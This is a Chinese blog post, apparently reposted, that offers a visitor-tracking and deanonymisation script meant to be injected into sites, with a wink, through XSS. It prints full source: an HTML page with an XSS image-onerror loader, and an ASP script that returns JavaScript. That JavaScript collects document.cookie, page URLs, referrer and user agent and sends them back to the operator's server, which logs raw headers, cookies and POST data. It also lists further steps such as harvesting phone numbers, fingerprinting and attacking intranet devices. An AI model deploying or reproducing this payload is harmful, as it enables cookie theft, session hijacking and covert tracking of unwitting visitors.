IP 定位 逆向追踪溯源访客真实身份 调查取证
https://www.buaq.net/
核总(https://lcx.cc/)在工作中经常需要追踪某个用户、访客的详细访问轨迹,用于逆向反查、调查分析、溯源追踪、电子取证,以帮助定位用户准确真实身份、实名信息,以及 IP 地址精确定位,最常见于犯罪调查、攻击事件溯源。
于是核总根据工作中的经验,做了一个高兼容度的 HTTP/HTTPS 访问轨迹跟踪程序,适用于任何支持 js 的网站或程序,可以直接载入或者使用 XSS 远程加载(你懂的),收集了几乎 HTTP 协议所能抓取到的所有访客信息。
信息维度
收集的信息覆盖范围主要包含以下维度:
1、服务器端和 HTTP 头:
- 访问时间
- 访问方法(GET/POST/HEAD)
- 访客 IP 地址
- 访客使用的端口
- 访客操作系统类型(User-Agent)
- 原始 HTTP 头(UTF8-URL 编码)
- 原始 Cookies 数据
- 原始 POST 数据
- 原始 GET 数据
2、客户端浏览器 js 脚本二次深度增强收集:
- href(document.location.href)
- top_href(top.location.href)
- opener((window.opener && window.opener.location.href) ? window.opener.location.href: “)
- title(document.title)
- cookie(document.cookie)
- referer(document.referrer)
- screen(screen.width + ‘*’ + screen.height)
- user-agent(navigator.userAgent)
提示一下,原始 HTTP 头中包含了更详细的系统信息,有完整的代理链路以及代理后的真实 IP 地址,例如字段:
- Client-IP
- True-Client-IP
- X-Client-IP
- X-Forwarded-For
- X-Forwarded-Host
- X-Originating-IP
- X-Real-IP
- X-Remote-Addr
- X-Remote-IP
增强升级
这些详细信息基本已经足够用了,但既然这个话题已经写到这里了,就多写点干货吧,其实还可以再深度升级一下,例如:
- 利用 res:// 协议刺探客户端文件信息、检测客户端环境、是否安装360、杀毒软件、某些系统文件等。
- 使用 HTML5 Canvas 计算客户端浏览器唯一指纹、指纹跟踪。
- 利用各大社交、购物、视频、ISP 运营商等网站的 cookies、xss、csrf、json 定位用户登录的账号信息。
- 还可以抓取访客手机号、QQ号。
- 还可以获取内网 IP 地址、Mac 地址、硬件信息、刺探内网资源。
- 甚至可以使用 js 利用漏洞或弱口令入侵内网 Windows 系统、Linux 系统、工控设备、路由器、摄像头、交换机等其他智能设备,高级渗透、反向入侵。
- 如果目标用户是移动客户端的话(例如微信或手机浏览器等),还可以尝试 HTML5 中新加的地理位置功能(Geolocation API)进行详细定位,获取精准 GPS 经纬度坐标信息。
- 核总(https://lcx.cc/)在这里抛砖引玉,各路大神自由发挥~
脚本源码
index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 | <title>Test 测试</title> <body> <!-- <img src="#" onerror="x = document.createElement('script');x.src = 'js.asp';document.body.appendChild(x);" /> --> </body> <script type="text/javascript" src="js.asp"></script> <a href="#" onclick="window.open('index.html', '_blank');">opener</a> <script type="text/javascript"> document.write('<a href="http://localhost/?'+Math.floor(Math.random() * 999999 + 1)+'#'+Math.floor(Math.random() * 999999 + 1)+'">http://localhost/</a>') </script> |
js.asp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | <% 'On Error Resume Next ' 记录日志 savelog() ' 没有参数则输出 js 代码,收集更详细的信息 if request("href") = "" then outputjs() end if '--------------------------------------------------------------------------------------------------- public function outputjs() response.clear response.addheader "Content-Type", "application/javascript" %> (function() { var u = '//<%=Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")%>' + '?href=' + encodeURIComponent((function() {try {return document.location.href} catch(e) {return ''}})()) + '&top_href=' + encodeURIComponent((function() {try {return top.location.href} catch(e) {return ''}})()) + '&opener=' + encodeURIComponent((function() {try {return (window.opener && window.opener.location.href) ? window.opener.location.href: ''} catch(e) {return ''}})()) + '&title=' + encodeURIComponent((function() {try {return document.title} catch(e) {return ''}})()) + '&cookie=' + encodeURIComponent((function() {try {return document.cookie} catch(e) {return ''}})()) + '&referer=' + encodeURIComponent((function() {try {return document.referrer} catch(e) {return ''}})()) + '&screen=' + encodeURIComponent((function() {try {return screen.width + '*' + screen.height} catch(e) {return ''}})()) + '&user-agent=' + encodeURIComponent((function() {try {return navigator.userAgent} catch(e) {return ''}})()); if (document.body != null) { var x = document.createElement('script'); x.src = u; document.body.appendChild(x); } else { document.write('<scr' + 'ipt src=\'' + u + '\'></scr' + 'ipt>'); } })(); <% response.end end function public function savelog() ' 记录日志,格式:时间,方法,访客IP,访客端口,系统类型,原始HTTP头(UTF8-URL编码),Cookies数据,原始POST数据,原始GET数据 dim fso set fso = server.createobject("scripting.filesystemobject") set file = fso.opentextfile(server.mappath(".\cf3a7c3e_" & year(date) & month(date) & day(date) & ".txt"), 8, true) file.writeline now & vbtab & _ request.servervariables("request_method") & vbtab & _ request.servervariables("remote_addr") & vbtab & _ request.servervariables("remote_port") & vbtab & _ request.servervariables("http_user_agent") & vbtab & _ server.urlpathencode(request.servervariables("all_raw")) & vbtab & _ request.cookies & vbtab & _ request.form & vbtab & _ request.querystring file.close end function %> |
参考资料
【CSRF】基于图片方式(<img)的 DDOS、CC、会话劫持以及刺探用户信息
JSON探针—定位目标网络虚拟信息身份,利用大量三方网站cookie进行追踪
Microsoft RES 协议详解与安全 - RES 协议浅析
XSS检测客户端环境,javascript 检测客户端文件、系统环境
网站插入一段神奇代码 即可获取浏览者手机号码 截取访客电话号码 手机营销
修改浏览器的 User-Agent 来伪装你的浏览器和操作系统
中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人
留言
張貼留言